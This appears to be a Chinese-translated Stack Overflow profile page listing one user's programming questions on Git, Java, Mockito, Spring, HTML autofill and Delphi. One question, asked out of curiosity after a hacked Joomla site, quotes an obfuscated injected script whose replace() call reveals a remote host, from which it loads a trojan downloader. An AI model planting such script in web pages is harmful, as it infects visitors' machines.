小编Pet*_*háč的帖子

如何计算Git存储库中特定作者更改的总行数?

是否有一个我可以调用的命令,它将计算Git存储库中特定作者更改的行?我知道必须有方法来计算提交次数,因为Github会为其影响图执行此操作.

git statistics command-line repository

420
推荐指数
17
解决办法
24万
查看次数

Java选项-Xmx代表什么?

java -Xmx1024m filename

什么-Xmx意思?

java

248
推荐指数
5
解决办法
62万
查看次数

这个烂摊子怎么样?

我的Joomla!网站一再被黑客入侵.不知何故,有人设法将以下垃圾注入关键的php脚本,但我的意思是不要谈论配置Joomla.该网站访问量不大(有时我担心我可能是该网站的唯一访问者...)而且我并不关心网站是否备份和运行.我最终会处理这件事.

我的问题是,这种垃圾是如何运作的?我看着它,我只是看不出它如何造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了一个木马,打开后会冻结你的Acrobat并对你的机器造成严重破坏.它怎么做,我不知道,我不在乎.但是下面的脚本如何调用下载?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
Run Code Online (Sandbox Code Playgroud)

ESET已将此代码检测为JS/TrojanDownloader.Agent.NRO木马

javascript joomla code-injection malware

99
推荐指数
5
解决办法
6399
查看次数

简单统计 - 用于计算均值,标准差等的Java包

你能建议任何简单的Java统计软件包吗?

我不一定需要任何先进的东西.我很惊讶,似乎没有一个函数来计算java.lang.Math包中的平均值...

你们有什么用呢?


编辑

关于:

编写一个计算均值和标准差的简单类有多难?

好吧,不难.手工编码之后我才问过这个问题.但是,当我需要这些功能时,它只会增加我的Java挫折感,而不是让这些最简单的功能可用.我不记得用心计算stdev的公式:)

java math statistics packages

65
推荐指数
4
解决办法
7万
查看次数

在Java中使用==运算符来比较包装器对象

我正在阅读Kathy Sierra和Bert Bates的SCJP Java 6,这本书让我很困惑.在页245上,他们在下面说明以下代码.

Integer i1 = 1000;
Integer i2 = 1000;
if(i1 != i2)
System.out.println("different objects");

//Prints output
different objects
Run Code Online (Sandbox Code Playgroud)

然后在下一页上,他们有以下代码

Integer i3 = 10;
Integer i4 = 10;
if(i3 == i4)
System.out.println("same objects");

//Prints output
same objects
Run Code Online (Sandbox Code Playgroud)

我很困惑!当我自己尝试这个时,似乎你不能使用==来比较你使用equals()方法的方式.即使整数变量设置为相同的值(即10),使用==总是给我'假'.我对么?使用==来比较相同的Integer对象(具有相同的值)将始终导致'false'

java integer equals wrapper operator-keyword

51
推荐指数
3
解决办法
2万
查看次数

Java - 如何确定文件名是否有效?

在我的Java应用程序中,我将文件重命名为String参数中提供的文件名.有一种方法

boolean OKtoRename(String oldName, String newName)
Run Code Online (Sandbox Code Playgroud)

它基本上检查newName是否已被其他文件占用,因为我不想埋没现有文件.

现在我想到,newName String可能不会表示有效的文件名.所以我想把这个检查添加到方法中:

if (new File(newName).isFile()) { 
    return false; 
}
Run Code Online (Sandbox Code Playgroud)

这显然不是正确的方法,因为在大多数情况下newFile尚不存在,因此虽然它 OKtoRename,但该函数返回false.

我在想,有没有一种方法(我知道有没有针对java.io.File的对象)canExist()吗?或者,我将不得不诉诸正则表达式来确保NEWFILE String不包含无效字符(如?,*," :)?我不知道是否有可能是某个地方隐藏在JDK的函数,将一个字符串告诉我可能表示有效的文件名.

java file

50
推荐指数
4
解决办法
8万
查看次数

使用Mockito将Class <T>作为参数的方法存根

有一个通用的方法,将类作为参数,我有问题与Mockito存根.该方法如下所示:

public <U extends Enum<U> & Error, T extends ServiceResponse<U>> T validate(
    Object target, Validator validator, Class<T> responseClass,
    Class<U> errorEnum);
Run Code Online (Sandbox Code Playgroud)

这真是可怕,至少对我而言......我可以想象没有它的生活,但代码库的其余部分愉快地使用它......

在我的单元测试中,我打算将此方法存根以返回一个新的空对象.但是我如何用mockito做到这一点?我试过了:

when(serviceValidatorStub.validate(
    any(), 
    isA(UserCommentRequestValidator.class), 
    UserCommentResponse.class, 
    UserCommentError.class)
).thenReturn(new UserCommentResponse());
Run Code Online (Sandbox Code Playgroud)

但由于我正在混合和匹配匹配器和原始值,我得到"org.mockito.exceptions.misusing.InvalidUseOfMatchersException:无效使用参数匹配器!"

java generics class mocking mockito

44
推荐指数
1
解决办法
6万
查看次数

春天的压倒一切的豆子

我们可以为XML中提到的相同bean id重复名称吗?如果没有,那么我们如何在Spring中覆盖bean呢?

spring

35
推荐指数
5
解决办法
9万
查看次数

如何在注册表单中避免使用浏览器预填充字段?

autocomplete="off"不是我追求的.基本上,在我的注册表上,有一个字段"电话"和"密码"一个放在另一个之上.(见截图)

令人烦恼的是,"电话"字段预先填充了用户名,因为我猜浏览器正在做什么 - 浏览器找到一个类型为password的字段,并假定文本输入字段就在它是用户名字段之前.效果是这样的:

登记表快照

为什么我对手机字段的非标准自动完成属性不感兴趣,我希望用户能够尽可能轻松地填写此表单,如果他们之前已在其他网站上输入了他们的电话号码(在称为字段中) "电话")当他们开始在场上打字时,他们可以从中受益.这就是为什么我不想完全关闭自动完成功能.

我正在更多地考虑重组字段以避免这种行为.或者某种方式告诉浏览器密码字段上方的字段与其无关,或者密码字段不用于验证目的.以某种方式标记它.或者在这两个字段之间注入一些不可见的元素?

有任何想法吗?

标记使用:

<input id="phone" name="phone" type="text" value="" maxlength="30">
<input id="newPassword" name="newPassword" type="password" value="" maxlength="20">
Run Code Online (Sandbox Code Playgroud)

我在Chrome,FF上得到了这种行为(不确定IE,在我的机器上得到了一个古老的版本,甚至不想开始担心IE.)

html browser markup user-registration

35
推荐指数
2
解决办法
2万
查看次数

Delphi中有条件运算符,或者有没有?

我想,我把手远离德尔福太久了.在过去的几年里,我一直忙于Java和PHP.现在,当我回到做一点Delphi工作时,我意识到我真的很想念Java和PHP都支持的条件运算符.

在Delphi程序中你会找到多少个这样的行?

var s : string;
begin
  ...<here the string result is manipulated>...

  if combo.Text='' then
      s := 'null'
    else
      s := QuotedStr(combo.Text);

  result := result + s;
end;
Run Code Online (Sandbox Code Playgroud)

哪里很简单

result := result + (combo.text='')?'null':quotedStr(combo.text);
Run Code Online (Sandbox Code Playgroud)

就够了 我喜欢这个,它不仅缩短了代码,这样我也避免声明一些辅助s:string变量.

为什么条件运算符不是Delphi的一部分 - 它们是否会得到支持?我注意到2009版Delphi(泛型)有很多语言扩展,为什么不添加这个功能呢?

delphi language-features delphi-2009 conditional-operator

32
推荐指数
4
解决办法
1万
查看次数